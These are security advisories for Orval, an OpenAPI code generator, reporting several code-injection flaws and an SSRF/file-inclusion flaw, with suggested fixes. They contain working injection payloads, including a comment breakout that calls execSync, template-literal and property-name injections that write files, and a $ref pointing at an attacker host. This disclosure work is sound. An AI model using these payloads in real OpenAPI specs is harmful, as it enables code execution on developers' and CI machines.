CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize and / characters. This allows attackers to break out of JavaScript comment blocks using / sequences and inject arbitrary code into generated files.
Example:
yaml openapi: 3.0.4 info: title: Enum PoC version: "1.0.0"
paths: /ping: get: operationId: ping responses: "200": description: ok content: application/json: schema: $ref: "#/components/schemas/EvilEnum"
components: schemas: EvilEnum: type: string enum: - PWNED x-enumDescriptions: # "pwned / }; import('childprocess').then(cp => cp.execSync('touch pwned')); const a = { /" - "pwned / }; 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const a = { /"
Summary
Orval's zod schema generation emits the array-items default value as a module-level template literal (export const …Default = <default>;) without escaping ${ or the backtick. A default of the form v${<code>}w injects a live JavaScript expression evaluated when the generated zod schema module is imported, executing attacker-controlled code at import — no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.
Details
ts export const …Default = v${globalThis.ORVPWN()}w; // ${...} = arbitrary JS expression, runs at import
Malicious input: an array property (string items) with a default of v${<attacker JS>}w. ${...} permits any JS expression.
Note: this is one of several default-bearing positions that reach the same unescaped zod template-literal sink; a single fix (escape default values) closes all of them, and a CNA may choose to consolidate the related reports.
PoC
reproduce.sh (+ makespec.py) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.
Impact
Code execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.
Suggested fix
Emit default values via a proper string-literal encoder (JSON.stringify, or escape backtick and ${ if a template literal must be used); never interpolate a spec value into a template literal. Apply to every default position. maintainer-report.txt makespec.pyreproduce.sh
Summary
orval, when generating MSW mocks (output.mock: true), emits each schema property name as a single-quoted object key in the mock factory WITHOUT escaping the single quote. A ' in a property name closes the key and lands in object-literal context, where an injected computed property key [expr] is evaluated when the mock factory is called (e.g. in tests / MSW handlers) -> RCE. The property name is a pure data field. Verified on orval 8.19.0 / Node.
Details
ts export const getOpResponseMock = (...): Thing => ({'x': 0, [require("fs").writeFileSync("PWNED","")]: 0, 'y': faker...., ...overrideResponse});
Safe elsewhere: the zod schema double-quotes the property name; the TS interface key is a type (DoS only). Distinct from orval's $ref / route-path / server-url / zod-default findings.
PoC
reproduce.sh (+ makespec.py) attached: a property name x': 0, [require("fs").writeFileSync("<marker>","")]: 0, 'y -> mock object literal; calling the mock factory writes the marker. Verified on 8.19.0.
Impact
JavaScript / OS command execution (via childprocess) on the machine of anyone who generates orval mocks from an attacker controlled spec and runs them (tests / MSW).
Suggested fix
Escape the property name for the JS string key (JSON.stringify), and never interpolate a raw property name adjacent to [ ] in object-literal position.
Summary
Orval's zod schema generation emits the query-parameter default value as a module-level template literal (export const …Default = <default>;) without escaping ${ or the backtick. A default of the form v${<code>}w injects a live JavaScript expression evaluated when the generated zod schema module is imported, executing attacker-controlled code at import — no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.
Details
ts export const …Default = v${globalThis.ORVPWN()}w; // ${...} = arbitrary JS expression, runs at import
Malicious input: a query parameter with a default of v${<attacker JS>}w. ${...} permits any JS expression.
Note: this is one of several default-bearing positions that reach the same unescaped zod template-literal sink; a single fix (escape default values) closes all of them, and a CNA may choose to consolidate the related reports.
PoC
reproduce.sh (+ makespec.py) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.
Impact
Code execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.
Suggested fix
Emit default values via a proper string-literal encoder (JSON.stringify, or escape backtick and ${ if a template literal must be used); never interpolate a spec value into a template literal. Apply to every default position. maintainer-report.txt makespec.py reproduce.sh
Summary
When Orval is configured with output.baseUrl.getBaseUrlFromSpecification: true, it bakes the spec's servers[0].url into the generated request URL as a template literal without escaping the backtick. A server URL containing a backtick closes the template literal and injects a concatenation expression evaluated when the generated URL/request function is called, executing attacker-controlled code. Verified on Orval 8.19.0 (fetch client); survives default OpenAPI validation.
Details
ts return http://api.x/ + (globalThis.X = require("fs").writeFileSync("/marker","pwned")) + /v1/u;
Prerequisite: the documented getBaseUrlFromSpecification: true option (takes the base URL from the OpenAPI servers block). This is the same output sink as the route-path case (request-URL template literal) reached via the server url field. Distinct from Orval's published CVEs (CVE-2026-22785 summary/MCP, CVE-2026-23947 / CVE-2026-25141 x-enumDescriptions, CVE-2026-24132 const/mock).
PoC
reproduce.sh (+ makespec.py) attached: generates a fetch client with getBaseUrlFromSpecification: true, bundles it, calls the functions, and shows a marker written. Verified on 8.19.0.
Impact
With that option enabled, code execution in any environment that calls a client generated from an attacker-controlled or attacker-influenced OpenAPI description.
Suggested fix
Escape the server URL before emitting it into the URL template literal (escape backtick and ${), or build the base URL with an encoder that treats it as data; validate the URL. maintainer-report.txt makespec.py reproduce.sh
Summary
Orval's zod schema generation emits a schema's default value as a module-level template literal (export const …Default = <default>;) without escaping ${ or the backtick. A default of the form v${<code>}w injects a live JavaScript expression that is evaluated when the generated zod schema module is imported, executing attacker-controlled code at import — no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.
Details
ts export const getIResponseDsDefault = v${globalThis.ORVPWN()}w;
${...} permits an arbitrary JS expression. Orval escapes its other value sinks (enum, mock, regex, object-default values) with \' inside single-quoted strings; the string default is the one value emitted as a backtick template literal, so ${...}/backtick are interpreted, not escaped. Distinct from the URL-template-literal cases (different field and sink) and from the published Orval CVEs (summary/MCP, x-enumDescriptions, const/mock).
PoC
reproduce.sh (+ makespec.py) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.
Impact
Code execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.
Suggested fix
Emit default values via a proper string-literal encoder (JSON.stringify, or escape backtick and ${ if a template literal must be used); never interpolate a spec value into a template literal.
maintainer-report.txt makespec.py reproduce.sh
orval before 8.29.0 fails to escape OpenAPI media-type keys when emitting them into single-quoted Content-Type string literals in generated code. Attackers can inject JavaScript through crafted media-type keys in OpenAPI specifications that executes when generated fetch operations or mock resolvers are invoked.
orval before 8.29.0 fails to escape the operationId parameter when emitting it into generated TanStack Query mutator options metadata objects. Attackers can inject arbitrary JavaScript code through a crafted operationId in an OpenAPI specification that executes when generated hooks are called.
orval versions before 8.29.0 contain a code injection vulnerability in the @orval/hono generator that fails to escape OpenAPI path values in single-quoted route literals. Attackers can craft an OpenAPI document with an apostrophe in a static path segment to inject arbitrary JavaScript code that executes when the generated TypeScript module is imported.
orval versions before 8.30.0 contain a code injection vulnerability in the @orval/core factory generator that fails to escape date default values in new Date() calls. Attackers can inject arbitrary expressions through apostrophes in OpenAPI schema defaults to execute code with the privileges of the consumer process when factoryMethods and useDates options are enabled.
Summary
Orval resolves OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running orval on a spec whose $ref points at an attacker/internal URL or an arbitrary local file yields SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class from Orval's published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers the $ref resolver.
Details
- $ref: http://attacker/internal-evil.json#/... → build host fetches (SSRF) and inlines the remote schema (RFI); confirmed property REMOTEORVALPROP in the generated client. - $ref: /abs/path.json#/... or ../../secret.json#/... → out-of-tree local file read + inlined (LFI).
No RCE: on 8.19.0 the description JSDoc is escaped (/->\/, the published fix), so $ref content cannot break out into code. The chain stops at SSRF + RFI + LFI.
Fix: don't resolve remote $refs by default (opt-in + host allowlist); confine local $ref resolution to the input directory tree (reject absolute paths and ../ escapes).
PoC
reproduce.sh attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined). Verified on Orval 8.19.0.
Impact
Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).